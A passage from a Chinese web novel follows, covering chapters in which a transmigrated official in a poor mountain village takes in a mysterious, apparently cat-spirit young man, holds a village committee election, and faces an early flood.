自打被余玥玺触碰了那一下后,华画竟诡异地安静了下来,原先那副颠颠的神情也变作了静默。
“你从哪来的?”桃儿在认定华画没有危险后,便主动凑到了他的面前。
“我从山下来。”华画回答。
“山下是哪里?”桃儿觉得这个回答过于敷衍,便又继续追问。
“山下就是外面。”华画又答。
“我知道我知道,但这世上除了烂泥村就是别的地方了吗?”桃儿来了劲,似乎一定要从他口中套出一些话
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来,“你家的名字,就是镇啊或者乡啊什么的。”
华画摇摇头:“我不知道。”
“你还真是个怪人啊。”桃儿不服,又欲接着问的时候被柳儿拉到了一边。
“他发烧了,脑子不清醒,想问什么等他清醒些再问。”
余玥玺很快便从厨房出来了,她端着一碗水,很小心地递给了华画,提醒道:“这碗豁口太多,喝水时小心些,别割到了嘴。”
华画点头,样子呆呆,他捧着碗,仰头一喝,快到连余玥玺阻止都来不及:“烫,慢些!”
晚了一步,华画已喝下一大口,眼睛巴巴地看着余玥玺,什么话都不说。
“怎么,烫到了?”余玥玺担忧地问。
华画摇头,开口,声音听起来比先前嘶哑:“呃,我很好,我没事,没有被烫到。”而后咧嘴一笑。
他的发梢和衣服下摆依旧在滴着水,滴落到地上形成小小一滩,似是有风从门缝挤进,他又打了一个哆嗦。
这是一个怎样的大麻烦找上门了啊,余玥玺无奈叹气。这人名字古怪——好吧,名字其实不是问题;性格也古怪,正常人会喜欢在雨中淋雨吗?表情更是古怪,一会呵呵笑,一会又形如呆滞。
余玥玺蹙眉看华画一口一口将尚冒着热烟的水尽数喝光,喝完时他又露出了一贯的笑。这个笑怎么形容呢?就像是多年后重逢,老损友之间第一个动作不是握手或是拥抱而是相视一笑那样。
但自己可从未见过他。
“小玺,我觉得他不像是普通人。”周小吉终于从房间里走出来了,她的手搭上余玥玺的肩膀,“我观察他有一会了,你看他的衣服,料子肯定不便宜。”
余玥玺细细一看,果真如此,穿得甚至比她在皇城住的那段时间穿的衣服还要好。
这位华画,怕不是一个脑子不太好的公子哥,不知怎的就从家里跑出来了,还不知怎的一个人跑到了烂泥村。
幸好碰上了她,不然下这么大雨,葬身山崖之下都是有可能的啊。
如此一想,余玥玺便觉自己又做了一件好事。她转身回房,拿了一条毛巾递给华画:“擦擦水,把头发和脸都擦一擦。”
华画接过,把自己整张脸连同脑袋一同包了起来,一顿乱揉,放下毛巾时,他的头发看起来更乱更像鸡窝了。
说来也怪,擦干净水后,他的眼神清明了一些,笑容看起来也不傻了。
“我叫华画,来自皇城,爱好钓鱼。因偶然得知群山之间有一小村名为烂泥村,便来了兴致,特来观望,今一得见,果然山清水秀名不虚传。”
“这也能夸?”周小吉震惊道,“你来的这日大雨倾盆,怎就山清水秀了?”
华画没回答,而是继续说了下去:“能否请教在座姓名?”
此人刚刚还是一副呆样,忽然就妙语连珠了。
“我叫桃儿,他叫柳儿。”桃儿第一个开口。
周小吉极小心地斟酌着字句:“我名周小吉,周公的周,吉人天相之吉。”
余玥玺是最后回答的:“我是余玥玺,和你一样,也来自皇城。”
“那我可以叫你小余吗?”华画的眼神真挚,“以及,帮我安排一个住处可好,我想在此处落户。”
余玥玺看着他继续向下说:“我想帮你。”
15.抓老鼠的是黑猫还是白猫
“你要帮我?”余玥玺反问了一句,怀疑自己的耳朵出现了问题。
“是,我要帮你,无论你要做什么我都会帮你。”华画回答得自然。
余玥玺盯着华画看了一阵子,语气带了些警惕与不善:“我们认识吗?你为什么要帮我?”
“我是真心钦佩您的。”华画的目光真挚无比,夸人的话讲起来头头是道,“在听闻您放弃更好的仕途前来这小山村做官后,我对您的敬意更是到达了顶峰。”
停停停,这人在说什么?余玥玺愈发警惕起来。
“你不会又是那个姓郑的派来的吧?说说看,你家又是什么情况?是家中贫困还是亲人离散?”余玥玺狐疑地看着华画,心想若他又是郑文竹派来的,这次说什么都不会收留的,真把她这当慈善机构了?来一个身世悲惨需要赚钱养家的人就往这里塞!
然而华画看起来倒是更疑惑:“姓郑的,谁啊?”
“郑文竹,和我同期的一个官员,怎么,难道你不是他派来的?”余玥玺抱着胳膊,目光审慎。
华画依旧摇了摇头:“我真的不认识,小余,你就让我留下吧。”
余玥玺被这一句“小余”吓得不轻,瞪着眼睛问:“你叫我什么?小余?”
“是啊,小余,你不是喜欢别人这么叫你吗?”华画看似无辜,“我又不能叫你余大人吧?”
“小余也是你能叫的?”余玥玺对他怒目而视,差点就伸出手指对着他一顿指指点点了。
华画继续做作般叹气:“若是这个你也不喜欢的话,那我就只好叫你余大人了。”说完,他抬眼瞟了下余玥玺,想看看她此刻做何表情。
“就叫余大人吧,我觉得很好。”余玥玺咬牙道,“总之你不许叫我小余。”
“唉,好的余大人,知道了余大人,余大人你真好,余大人……”华画叫起余大人就没完了。
见此人安安稳稳坐在那里一动不动,更是没有半点要离开的样子,余玥玺又说了句:“怎么,你不走吗?”
“我不走了,我哪也不去。”
华画坚决不肯离开,他认为自己被如此排斥的理由是“那个姓郑的”害的,不由得在心里想若是哪天夜里他得以下山,一定要好好吓唬吓唬“姓郑的”。
他因而又重复了一遍:“我真的不认识他,更不是他请来的,余大人您就让我留在这里吧。”
“那你认识乔河吗?”余玥玺总要揪出他的破绽来。
华画摇头:“余大人您不要试探了,不管是那个姓郑的,还是什么乔河,我都不认识。”
“难道我就不能是为了您而来?”他继续真诚无比地看着余玥玺。
“我只是想帮你,绝无它意,你真的就要拒绝我吗?”他的眉毛、眼角与嘴角齐齐下撇,一副悲伤至极的模样。
这人,这人怎么感觉……茶茶的?但余玥玺是向来不吃这套的:“你这是在道德绑架我?请问我哪里招惹到你了?让你不惜冒着这么大的雨上山也要惹我不快?”
华画老实摇头:“您没有招惹我,我不是说了吗,我钦佩您啊!”
“那你喜欢我哪一点,我改还不行吗?”
“我喜欢您英姿飒爽的模样,一心为民的真心,敢于直面皇权的勇气……”华画眼巴巴看着她,“这些您可千万别改啊。”
这人到底是真情,还是假意?余玥玺思量许久,还是觉得花言巧语不甚可信:“就算你夸我我也不会让你留在这里的。”
“没关系,就算你不喜欢我也没关系,我只是拥有一颗想要帮助你的心罢了,我真的只是想帮你。”华画抬着水淋淋的脑袋,眼睛也好似水淋淋的一般。
“我刚刚说的你是一点没听进去是吧?”余玥玺叉腰,对泫然欲泣的华画不管不顾,她怒气冲冲,指向门外,“你现在就……”
想到屋外此刻仍下着大雨,她紧急刹车:“等雨停了你就走。”
“我若是说我不走呢?”华画固执道,“我怎样都不会走的。”
“你也不说你会什么,我怎么让你留下来。”余玥玺的语气似是无奈,“我可不会收留一个吃白饭的。”
“会会会,我什么都会!”华画大喜过望,一个劲地点头,“你需要我会什么我都可以会。”
“什么叫可以会?会便是会,不会便是不会,你若再这么不真诚,我是不会让你留下来的。”
“我会养鱼,还会钓鱼。”华画的语气真诚,但这回答让余玥玺听了差点背过气去。
“养鱼和钓鱼算什么?”她怒道,“你能不能说些有用的?”
“什么能力,算是有用的能力?”没见过余玥玺如此怒容的华画吓得不轻,他颤颤巍巍问,“那您……举例?”
“识字吗?”
“识。”
“会算术吗?”
“……会。”
“可懂时令与种植?”
“大概懂。”
“确切一点!”
“懂!”
这样几轮一问一答后,余玥玺道:“那你便和小吉一块去教书吧,闲暇时候去田中做观察,养鱼你也可以试一试。”
得了指令的华画兴奋不已:“还有吗?还有什么我可以做的?尽管安排给我吧!”
“你的精力怎会如此充沛?就先这样,你若是干得不错,我再考虑给你安排其他的。”
华画是满意了,但周小吉却不满了:“我要和他一起给孩子们上课吗?我只想一个人安安静静教我想教的。从皇城来的又怎样,懂得比我多了不起啊!”
“你们不教一样的课,你教识字,他教算术,如何?”
周小吉确实对算术一窍不通,但她仍有些不服地开口:“我还准备等我学会了再教孩子们……哼,要是他教的话,倒是省我的力气了。”
“小吉啊,别担心,你仍然是我的大助手,新来的那个在我心目中比不上你的。”余玥玺看出周小吉的小心思,适时安慰。
“对,我才是你的大助手,你的助教,谁也抢不去的!”周小吉满意了,不时挑衅地偷瞥华画。
“还有我呀,我是你的小助手,这个位置也没人抢的吧?”桃儿环住余玥玺的胳膊,语气同样带着浓浓的宣誓主权的意味。
“是是是,你们一个是我的大助手,一个是我的小助手。”余玥玺轻笑着用食指刮了一下桃儿的鼻梁,“
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只要我还在烂泥村一天,这个位置都将永远属于你们。还有柳儿,柳儿是我的外交部长。”
“呃,感谢您还记得我。”柳儿尴尬道,随后默默退回到房间去了。
华画眼见着在场所有人都有了称呼,便故作可怜道:“我呢,那我呢?我是你的什么人?”
“你不是我的什么人。”余玥玺刚刚的声音还是甜甜蜜蜜又轻又柔的,听到华画这不合时宜的请求时,转瞬渡上了层冷霜。
“呜,这样吗?那我一定会努力,争取让您满意,然后也给我一个好头衔。”华画的眼神看起来憧憬。
刚想说“不会有这么一天的”余玥玺见了这眼神,生生吞下这句话,冷淡道:“行,那我等着。”
“不是吧,小玺,你这就心软了?”周小吉按住余玥玺的肩膀,开始前后摇晃,“你甚至一开始是让他走的啊。”
被摇晃得头晕的余玥玺举起一只手示意周小吉停下:“小吉啊,你哪里都好,就是不要一激动就晃我好吗?”
“我是让你清醒一点,此等来路不明的男子,怎可随意对待。”周小吉仿佛痛心疾首,“万一他会伤害村里人呢?万一他会伤害你呢?万一他别有所图呢?”
“哪有那么多万一……”余玥玺咕哝道。
“小玺你可千万不能因为他长得好看就轻信于他啊,美色误人啊!”周小吉又一个没忍住,开始摇晃余玥玺。
“等,等等,他长得好看?”余玥玺听了这话,才开始好好看了看华画,华画闭了嘴,一副乖乖脸看了回去。
脸型并不长,又短又圆,脸颊两侧有些肉,眼睛端端正正的,倒是又大又亮,高挺鼻梁下一张抿着的薄唇,倒是尚可。
“一般程度而已,在我这还称不上美色,因而我也不会被误……”余玥玺笑着摇头。
“余姐姐当真是看过好东西的,这种程度居然只是一般,皇城肯定很多长得好看的人,等烂泥村富了,余姐姐一定得带我去皇城!”桃儿上下打量华画,最后定格在他的脸,语气兴奋。
“小小年纪,志向如此远大,会带你去的,一定!”余玥玺赞许开口,随后才说出了她的真实想法,“如今烂泥村正处于一个非常重要的时期,我们一定是要团结一切可以团结的力量。”
“不管黑猫白猫,能抓到老鼠的就是好猫。”担心这些人没听懂刚刚那句话,余玥玺又补充了一句更为通俗易懂的名人名言。
然而华画听到这确实心头一跳:怎么好端端的,开始讲猫和老鼠了?难不成她这就知道了自己的身份?
为了摆脱自己的嫌疑,他很是此地无银三百两地说:“我不会捉老鼠,我不是黑猫也不是白猫。”
嗯,他是三花猫。
余玥玺奇怪地看了眼他:“你本来就不是猫,我也不需要你捉老鼠,这是个比方懂吗?”
危机解除,华画松了一口气:“好嘞,明白。”
“况且针对烂泥村的未来,我也是有了许多想法,只待实施下去。”余玥玺的语气自信,虽然那本参考答案已然失踪,但她人是活的,脑子也是活的,就当那小册子从未出现过。
她已迫不及待要大显身手了。
16.光明正大表达爱意
雨势稍有减弱,桃儿与柳儿便起身告辞,表示若是离家太久,家中人会担心。余玥玺站在门口目送两人冒雨前行,桃儿跑得快些,柳儿跑得慢些,还不时停下来歇息,桃儿又只好等他……
直到看不见两人踪影后,她才放心下来回到屋内。
屋内温暖,周小吉正握着笔在纸上饶有兴趣地写着字,余玥玺见不大的纸上写满了大大小小风格迥异的字。
“小吉的字真好看,是怎么学的呢?”余玥玺夸赞。
“嘿嘿,用树枝在地上写字,沙地和泥地的感觉是不一样的。”周小吉激动地描述着她的练字经历。
“咳咳,我的画也很好看。”华画硬生生挤进话题,开始自夸。
“哦。那你画啊。”余玥玺显然不信。
华画故作为难:“颜料,合适的纸和笔都没有,画不了。”
“画不了你在多嘴什么。”余玥玺显然很不满,周小吉则偷偷地笑,顺便得意看了眼华画,又像是宣誓主权般离余玥玺又坐近了些。
余玥玺提着笔,不过脑子地在纸上花了一个并不圆的圆,在圆里画了黑黑两个点做眼睛,在眼睛下方又画了一道弯曲的弧线做微微笑的嘴,最后在圆的下半位置画了一条拖着小波浪线。
“像长了脸的瓜。”华画评价道,在遭到余玥玺狠狠一记眼刀后改了口,“这是个成了精的瓜,画得真是栩栩如生。”
有什么区别?余玥玺在心里翻了个白眼,继续画下去的兴趣一下子便消失了。
周小吉将窗户打开一点,看了眼已经有停雨趋势的窗外,与她热情告别:“雨停了,我该回去了。”
“行,把这个带上!”余玥玺很是热情地将纸塞进周小吉的怀里,二人一番假意拉扯后,周小吉满意而去。
送走了周小吉,余玥玺便想将华画也撵走,回屋时见他仍像个没事人一样坐在那里,刚想谴责他几句,便被华画抢了先:“你已经让我留下来了,可不能再赶我走了。”
“你可以留在这,我不赶你走,但是你不能住在我这里。”
华画委屈道:“为什么不能呢?”
自己是猫的时候,余玥玺可是很欢迎他在房里睡觉的,怎么在这一点上连猫都比不过了?
“你有未婚妻吗?”余玥玺义正辞严。
天地良心,她怎么能问这种问题?华画更委屈了:“我没有。”
“我也没有未婚夫,所以你知道问题出在哪了吗?”
华画摇头:“所以我俩天造地设,本该一对?”
余玥玺深吸一口气:“所以我俩不能住一个屋。”
“为什么?”华画是真的不明白。
“不合适就是不合适!同住一个屋檐下那是一家人才能做的事。”
余玥玺连声呵斥:“不管怎么样,就是不可以!”
华画揉了揉被震痛的耳朵:“别喊了,我明白了,我不住这了行不。”
“那自然是再好不过了,眼下也没有下雨,就劳烦您自己找个住处了,缺什么你也得自己想办法。”
华画慢慢地点头,又慢慢地站起,最后慢慢地走到门边,背影看起来委屈至极。
送走了这最后一人,屋内顿时安静了不少,适当的人际交往有益于身心健康,过量则是有害了。
她重新翻开书,试图将自己投入进去,她向来不是个会轻易放弃之人,同时来自现代的她拥有许多奇思妙想。
而如今,也是可以大展身手了。
因这段时间书读了不少,各种混杂的农业知识在脑子里乱窜,有时极易弄混,不过理解起古文来倒是比之前得心应手了不少。余玥玺细细地阅读着各种种植法的区别,以及喜湿作物的种类。
她完全地沉了进去,一边搜寻一边做着摘录,密密麻麻的小字爬满了整张纸,直到手腕酸痛,眼睛有些看不清了才停手。
“呼——”余玥玺丢下笔,仰倒在靠背上,甩甩酸痛的手,心满意足地看着那满满五张纸,这半日的成果。
“果然比起论文和考试,我更喜欢这个啊。成就感十足!”她将那薄薄几张纸抖得“哗哗”响,美滋滋地想着自己果然是块当官的好料子。
余玥玺打开窗子想透透气,一开窗户便发现了个精巧的食盒端端正正摆在窗台。她带着疑惑拿了进来,心道这是谁送的,怎么连招呼都不打一声。
食盒倒是精致无比的,一看便知不是村中人会用的,她一打开,里面的三小碟菜便晃了她的眼。
一道红烧肉、一道葱炒鸡蛋,一道清炒白菜,里面放了几丝干火腿。中间是一碗饭,最下面一层居然还有四块糕点,小巧玲珑。
拿起糕点才发现下面还压着一张字条,写着一个简单的“画”字。
是华画?他从哪里弄来的这些东西?虽疑惑,但她还是将除了糕点以外的菜肴吃了个干净。
吃饱后余玥玺又撕下一片纸,在纸上写道:你从哪里弄来的这些东西?连同洗净的碗一并又放进了食盒,并将食盒放回了原先的位置。
之后她便懒得看书了,打开门走出门去,在空地上伸了一个懒腰,沿着院子一圈一圈地走。
矮墙下的绿植吸引了她的目光,她饶有兴趣地看着叶子是什么形状,纤弱的茎是如何托起这么大的叶片,茎部越往下越透明,呈现出薄薄的脆弱绿意,几粒砂石勉强支撑起这株渺小的生命。
余玥玺用手指轻轻拨弄了一下叶片,随后她便去了厨房,取来一些清水,兜头浇了一碗水后才想起刚刚降过雨,自己这点水怕是有些多余。
“余姐姐!我又来了!”又是未见其人先闻其声,桃儿那极具穿透力的声音自十几米开外就已格外明显。
来的是桃儿,还有一个远远跟在后面的柳儿。
桃儿一见她便笑:“余姐姐,我给你带吃的来了。”说完她便将背着的手拿出,手里握着一张饼,饼看上去倒是比早上那个要软的多,但无论怎样,刚刚三菜一饭确实是吃饱了,余玥玺便婉言拒绝,顺便领她进了房间,递她一块华画赠的糕点。
“哇,这个一看就好吃,余姐姐你从哪里弄来的啊?”桃儿揪下一小块填进嘴里,嚼着嚼着她眉开眼笑,“真好吃,甜甜的软软的。”
“华画。”
“他上山时不是浑身都淋湿了吗,怎么这个倒是干干净净的?”桃儿又揪了一块吃,舔舔嘴唇,“这个得省着一点吃,我一份柳儿一份娘一份奶奶一份……”
桃儿自言自语时,柳儿终于赶上来了,他一眼就望见了这块松松软软的糕点,也无
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意识地咽了一下口水。
“带走吧,这一块都是你们的了。”余玥玺笑眯眯道,她也想过再多给一些的,但这糕点有了上顿不一定又下顿,省一点还是好的。
二人盯着糕点半晌,桃儿直直地看着,伸手将其拿在手里,试探性询问:“那我们走了?”
“好,回见。”余玥玺欣慰地笑着看两个半大孩子幸福而去。
若是她能让所有人都幸福就好了。
像小吉,她认为能有无尽的纸和笔就是幸福;像桃儿与柳儿,他们仅仅是看见一块足够松软的糕点就足够快乐。村里的人虽贫穷但质朴,他们渴望的幸福如今就掌握在自己手中,她没有任何理由放弃。
随后一日余玥玺还是闭门不出,前一晚食盒里的纸条不见了踪影,却未留下回答的纸条,这一日不知何时,窗户又被轻轻敲响了。
余玥玺当即去打开窗户,同昨日一样,一模一样的食盒出现在相同的位置。
余玥玺带着疑惑再次拿了进来,菜同昨日不同,一碟肉丸,一碟各色蘑菇,一小碗鱼汤里面漂了些豆腐。
这菜是愈发丰盛了,她抱着点想法打开最后一格,居然是八片码得整整齐齐的桃酥,下面又压着一张字条:来路很明,无须担心。
昨日的糕点还未吃完,今天又加了八块桃酥,华画这个人,从头到脚都很神秘,比如他是如何上山来的,为什么而来的,这两日的菜肴又是怎么来的。
问题很多,她要找到华画问个清楚。
刚走出房门,门口便站着个人,就像是突然从天上掉下来的一样。
华画问:“你要找我?”
“你从哪来的?”余玥玺还未回过神,这人怎么跟猫似的神出鬼没,消失时一点踪影不见,出现得又突然。
“自然是烂泥村啊。”华画道,“我找了一个相当好的住处。”
余玥玺立马问:“在哪?”
“不告诉你。”华画仰头,又骄傲问道,“怎么样,饭菜和糕点都不错吧?合你的口味吗?”
“一般。”余玥玺没好气地说。
“那我会尽量让你满意的。”华画的语气自信,“我来这的目的就是帮你,所以让你吃到好的也在我要做的事情范围之内。”
“此处物资如此匮乏,你是如何做到这些的?”余玥玺终究是将心中的疑问脱口而出。
华画思索了番,认真道:“这对我来说很简单,总之一不是偷的,二不是抢的,你放心,这应该是我的能力吧,具体是什么,抱歉我需要保密。”
“既是如此强悍的能力,为何在刚刚不说呢?”
“很奇怪啊不是吗?会被认为是妖精的。”
“那你为何能对我说这些,不会认为我害怕吗?”
“我一看你便觉你亲切,就什么都瞒不住了……”华画声音动情。
“哦?那你倒是具体说说你的能力到底是什么呢?”
“唔,现在不行,以后再说。”
“那你说什么漂亮话,还什么都不瞒我。”余玥玺做了个嫌弃的表情。
余玥玺对华画发出邀请:“今晚的选举会,来参加吧,或许你可以得到其中一个职位,这样你就能更好地帮我了。”
“嗯!我一定去!”
17.提前到来的汛期
选举会那晚,天公作美,并没有降雨,烂泥村村民早早吃过晚饭便在古井那处等候着了。村委会、选举、统一管理这一系列他们听都没听过的词让他们好奇。
假如真的能选上那个叫委员的东西,也不失为一种新奇的体验,这皇城来的人,怎么脑瓜子就这么好使呢?
余玥玺此时还未到,但村民已经乌泱泱聚集了一片,他们大声地相互交谈。
“我选你好不好?”
“别别别,我又不喜欢出风头。”
“选我嘛!我就喜欢做这种事!”
“哈哈哈,这种事你们还要推来推去的啊?我以为你们都要抢着当呢!”
“大家很积极啊,我还没到大家就已经到了。”余玥玺从后面走到前面来,她笑眯眯地和村民打招呼,“今晚非常好,不下雨,气温也舒适的很。”
有人发现了余玥玺身侧的华画,便大声问:“小余啊,那是谁?”
余玥玺拍拍华画的肩膀:“来,你自己回答。”
“我是余大人的追随者,在知道余大人来到这里后,我也跟来了。”华画讲得情真意切,动人无比。
“真好,小余值得啊。”钱大爷开始热烈鼓掌捧场。紧接着,其他村民也鼓起掌来。
华画吓了一跳,向余玥玺身后躲了躲:“他们怎么这么情绪激动,很吓人的。”
“你是没听过别人鼓掌还是怎的?怎么这都怕?”余玥玺很是嫌弃地看了他一眼,然后又道,“看我怎么做的吧。”
她上前一步走,平举起一只手,做下压的动作,面带自信微笑:“大家静一静,太热情了。能得到大家的认可与肯定,是我的荣幸。”
“下面,选举正式开始,有请我的助手上台与我一同主持选举会。”
周小吉三步并作两步极欢快地上前来了:“小玺,需要我做什么?”
“记录票数。”余玥玺回答,说着她又转向了村民们,“谁有意愿的话可以直接上来了。”
这个时候村民们反而谦虚起来了,你推我拉总之就是没人敢第一个上来。
“这样吧,华画,你先来做个自我介绍,反正你等会也是要参与选举的。”余玥玺将华画推了出去。
华画一个跨步走到了前面,他看着眼前一双双好奇的探究的目光,张了张嘴,不甚流利地说:“大家好,我叫华画……来自皇城,是余大人的追随者。”
“这些你不是说过了吗?说点大家不知道的。”余玥玺幽幽道。
“啊,好的!我来自皇城,我什么都会……”
此话一出,底下笑声一片:“小伙子年纪轻轻,怎么口气这么大?小余都没说过她什么都会!”
华画愈发窘迫,他深吸一口气,手紧紧攥着袖子,又颤颤开口:“半吊子水平的会一点……自然是余大人需要我做什么我便做什么了,种地也好、捕鱼也好、开荒也好,我定会尽我所能完成余大人交给我的任务,同时也不辜负大家。”
“说得好,应该给予热烈掌声!”余玥玺带头鼓掌,赞许地对华画点头,他这才松了一口气,放松下来。
“好了,现在有谁想上前来参与到里面呢?”余玥玺再次提问。
韩大姨走上前来,再次握住了她的手,这次既不是哭诉也不是对峙了,她笑道:“我这个曾经烂泥村名义上的村长可以来参加吧?”
“可以可以,当然可以!”余玥玺也回握住韩大姨的手,“很荣幸您能来第一个支持我,我真心觉得您肯定可以评选上委员的。”
“自然,我便是冲着这个来的。”韩大姨语气骄傲。
“很好,还有其他人吗?”余玥玺又转向了村民,“快快快,时间不等人啊。”
于是又有几人上前来了,站在韩大姨身侧,都兴奋而又期待地看着余玥玺,似乎在这一刻他们变成了期待被表扬的小孩子。
因大部分村民都不识字,余玥玺随后便以石头、圆形叶子、长条叶子、短树枝、花瓣等在周围随处可见的东西作为用来代表每一位参与选举的村民,村民们至少可以投一票,最多可以投三票。
周小吉尽职尽责,勤勤恳恳数着每一位的票数,数了第一遍还要再数第二遍,数完了第二遍后还要再数第三遍的时候,余玥玺让她停下来。
“小吉,可以不用数这么多遍的,我相信你数的是对的。”余玥玺真诚无比地对她说。
周小吉固执摇头:“不好,我还要再数一遍,我的奶奶怎么可能票数不是第一。”
“那谁是第一?”
“华画。”周小吉失落地叹气,“就多三票,三票,我得再数数,肯定是我数错了。”
“没关系的小吉,就算韩大姨不是第一,第二也可以成为委员的呀。”余玥玺一边安慰一边解释。
“我知道我知道,可是奶奶不是第一还是让我很伤心,他才刚来,他凭什么就这么轻轻松松拿了第一?”周小吉看上去愤愤不平,“他甚至刚刚讲话时还在发抖,能做好什么事情?”
余玥玺思索片刻,不确定地说:“大概是因为我的原因?因为大家听说他是跟着我来的,出于对我的信任,可能就对他多带了些信任吗?”
“你就不该说他是跟你来的,不过我对他还是持保留意见吧,再怎么说也是皇城来的,也年轻,总会好过烂泥村的村民们吧。”周小吉瞪着眼,“我可是看在你的面子上才会对他稍微高看一点的!”
“好好好,我的面子这么大!”余玥玺夸张地举起胳膊,比了一个比脑袋还大的圆,“我的好小吉,现在可以公布票数了吗?早点公布,早点让大家回去休息呀。”
“嗯,行,我这就说。”周小吉拿着半张纸,极为详尽地公布了票数。
第一是华画,五十六票;第二是韩大姨,五十三票;第三是桃儿的娘,四十八票;最后一名是钱大爷,四十二票。
“没有被选上的也不要灰心啊,我们明年还有机会!好了,散了吧,大家可以回去休息了。”
村民们三三两两地离开了,选上的眉开眼笑,看热闹的也喜笑颜开,没选上的也并不失落,比起别人,他们好歹还上台了不是?
“走吧,我们一起回去。”华画提着一盏灯,向余玥玺发出邀请,“我陪你,知道你晚上看不清路,一个人回去很危险。”
谁知余玥玺的第一句话却是:“你这灯笼哪来的?”
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“这,你关心这个?”华画目瞪口呆。
“算了,其实也不是很在意。”余玥玺摆摆手,“那我们就走了?”
“好,走!”华画很是高兴地说。
一路上二人并未做过多交谈,一方面是华画不知如何开口,另一方面是余玥玺对这个她目前还不是很熟的人并无交谈意愿。
“好了,我到了,你回去吧,我就不送了。”余玥玺站在门口,手扶着门框,既客气又漫不经心地说着客套话。
华画却并未多想,她能说这种话他就已经很满足了,他依旧兴高采烈,兴致不减:“好哦,不用送,我走啦,祝你今晚有个好梦。”
“嗯,你也是。”余玥玺继续说着客套话,不待华画转身离去,她就已经推开了大门走进了屋里。
华画驻足在门口久久未离去,直到看见燃着的灯灭掉,他才放心离去。
当夜便下起了大雨,首先是隐隐的雷声,树枝般蜿蜒的闪电在天空中迅速划过,紧接着就是震耳欲聋的巨大雷声。
夜里的雷不管是听起来还是看上去都比日里的要骇人。静谧的夜被雷声绞碎,安稳的梦也因此破碎。
雷声逐渐密集起来,随后便刮起了风,呼啸而尖锐,像是要把这个摇摇欲坠的小山村整个地吹翻一样。
在这种情况下惊醒简直是再正常不过的情况了,余玥玺正做着左手一只猫右手一只猫,膝盖上趴着一只猫,她摸摸这个又摸摸那个,猫咪乖顺叫声软糯,正笑得合不拢嘴时,不知从何处窜出一只花纹怪异的猫,直向她面门扑去,嘴里还嗷嗷怪叫着——
余玥玺猛然惊醒,梦中的猫叫和窗外的雷声重合,让刚刚醒过来的她又吓了一跳。
“好大的雷声。”她惊魂甫定地看向窗外,此刻又是一道闪电劈过,房间霎时亮如白昼。
不好!余玥玺迅速捂住耳朵,但那炸弹一般的雷声还是清晰传入耳中,引得耳朵一阵又一阵的疼。
这会醒了,就很难入睡了。她平躺在床上,用被子将自己裹得紧紧。如此体验,她还从未经历过。
耳边是一阵紧过一阵,每一声都冲着把耳朵震聋的雷声;伴奏的是恰到好处增添阴森气氛的风声;主唱则就是瓢泼大雨,带着狠戾的劲儿,向每一处宣誓它的来到。
余玥玺胡思乱想,将这三者组合起来,它们形成了末日交响曲。
这不想倒也罢,想了则是越想越令人恐惧。
渺小的人,在遇到威力无穷的大自然时,总是无能无力的。
这场交响乐一直持续到后半夜才意犹未尽地收了尾,只剩主唱依旧唱着依依不舍的告别曲,下着淅淅沥沥的雨。
天微微放亮的时候,余玥玺才得以入睡,但睡得总不安稳,刚刚有了些困意便会莫名惊醒。
“咚咚咚咚咚咚。”门被拍响,一连串急促的声音让余玥玺彻底没了困意。
“来了来了!”余玥玺一边大声应着,一边匆匆披了一件外褂,拖着只穿了一半的鞋子,一拐一拐地去开门。
映入眼帘的是华画焦急的脸,他道:“余大人,不好了,汛期提前来了,请快些下指示,做灾期救助工作吧!”
18.雨中自有真情在
华画看着她只披了一件外褂,鞋子甚至还穿反了,又道:“你快些换好衣服,我先去安抚村民们。”
“好,麻烦你了。”余玥玺点点头用吩咐的口吻道,“我换好衣服就马上就去,你暂且先将村民们带到地势比较高的地方。”
“嗯,我明白。稍后我们汇合的时候,你一定要注意安全啊。”华画语气认真,“还有,谢谢你。”
“谢我干什么?”余玥玺不明白。
华画微微一笑:“谢谢你给了我帮助你的机会。”
“好了好了,不要说无关的废话了。”余玥玺是真的着急,她生怕多耽误一会功夫就会多一个村民陷入困境,“快去吧,我马上就来!”她半个身子探出房门,用双手推了一把华画。
“你可是我们烂泥村村委会第一届的委员,快些完成你的任务去吧!”
华画被推得后退了几步,他像是变戏法一样从背后掏出一把伞,无比郑重地递给了余玥玺:“余大人,我猜等会您一定要冒雨前行了,千万要注意身体。”不待余玥玺做出其他反应,华画便转身飞快地跑开了。
伞?可自己确实没有冒雨的念头啊。余玥玺握着伞发了会呆,转身回到房间里才反应过来,自己根本就没有伞,等会可不得冒雨跑出去吗?
这人心还挺细的,自己都没发现的事情居然被他发现了。
她不觉微笑了下,然后迅速换好了一身便于行动的衣裳,踏了一双草鞋,撑开伞便走进了风雨中。
雨此时又下大了些,风将伞吹得前后左右大幅度摇摆,雨丝不断地用力拍打着余玥玺的脸,脚下的泥也拖着她的步子,她一步一顿地行走在雨中,双手握着伞柄,竟腾不出多余的手来抹脸上的雨水。
“余姐姐!”桃儿披着蓑衣,赤着脚鱼一样遛了过来,因为跑得太急,帽子险些被吹翻,她又只好双手捂着脑袋跑到了余玥玺的面前。
余玥玺赶紧将她护在伞下,急切道:“快擦擦脸,跑那么急做什么?”她的视线下移,看见桃儿糊满了泥巴的脚,又忍不住道:“怎么鞋也不穿?万一泥里面有尖锐的东西扎到脚会感染的。”
“没关系,穿别的鞋会把鞋弄脏的,还容易弄丢,我会当心的,谢谢余姐姐关心。”桃儿仰起一张脸笑了笑。
“你有见到华画吗?”余玥玺扳过她的肩膀问道,“他现在在哪里?”
桃儿想了想,指着面前一条不算笔直的路道:“我见他是沿着这条路挨家挨户告知撤离的,在我出来的时候,他刚刚离开我家。”
“那你怎么不跟着他走呀,你还没多大,这么大的雨一个人跑是很危险的。”
“因为余姐姐也是一个人,我们两个在一起就不都是一个人啦!”桃儿拉住余玥玺的衣襟,“从这边往后还有村民们没有通知到,我们快些去吧。”
“好。”余玥玺点头,又提醒了句,“当心些脚,不要被扎到了。”
“嗯!”桃儿在伞下又整理了一下蓑衣,重新戴正了帽子以后走出了伞下,在余玥玺的前面带着路。
“快到伞下来啊!”
“不啦,这伞太小,我俩一起打的话你就会淋湿了,我有这个没事的!”
桃儿又跑开了几步远,一边跑着一边喊:“大家不要乱跑啊——余姐姐这就来了——我们去往常那个地方集合——”
“桃儿,我问你一件事。往年的这个时候,你们是怎么做的?”余玥玺问。
桃儿答:“今年倒是很怪,这么早就发了大水,以前的话是会提早做好准备的,所有村民在汛期到来的前一天就收拾好东西到高坡上,找一处背风背雨的山洞,在那里过上个一阵子,等太阳重新出来,将路晒到半干时再回去。”
“但现在?”
“现在一切都慌慌忙忙的,什么都准备不好,况且这次的雨看起来比往常的要大得多。”虽看不见桃儿的表情,但她的声音沉沉闷闷的,听起来并不如她往常那般愉快。
